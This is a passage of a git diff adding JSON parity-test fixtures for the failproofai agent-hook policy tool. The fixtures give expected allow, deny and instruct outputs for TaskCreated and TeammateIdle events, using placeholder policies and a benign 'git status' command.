"sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..9bb62c82 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..92aa14e8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..7342044f --- /dev/null +++ b/__tests__/parity/fixtures/devin/TaskCreated/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TaskCreated", + "input": { + "event_type": "TaskCreated", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TaskCreated", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TaskCreated", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TaskCreated\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..d83e2ef8 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..04d108d2 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..6f612ca6 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..1187ed0e --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-silent", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..dc8eda37 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..def23660 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..34b74ce5 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..a44d5743 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "devin", + "decision_kind": "allow-with-reason", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..0fa4e7da --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..cf7df460 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__one-policy.json new file mode 100644 index 00000000..07020c76 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "devin", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__two-policies.json new file mode 100644 index 00000000..5bdf4cbc --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "devin", + "decision_kind": "deny", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"decision\":\"block\",\"reason\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..a2bc8e24 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..2be9f772 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..5d9b3858 --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "devin", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "TeammateIdle", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "devin", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "TeammateIdle", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"TeammateIdle\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..cb2a27fe --- /dev/null +++ b/__tests__/parity/fixtures/devin/TeammateIdle/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "devin", + "decision_kind": "instruct", + "event": "TeammateIdle", + "input": { + "event_type": "TeammateIdle", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": 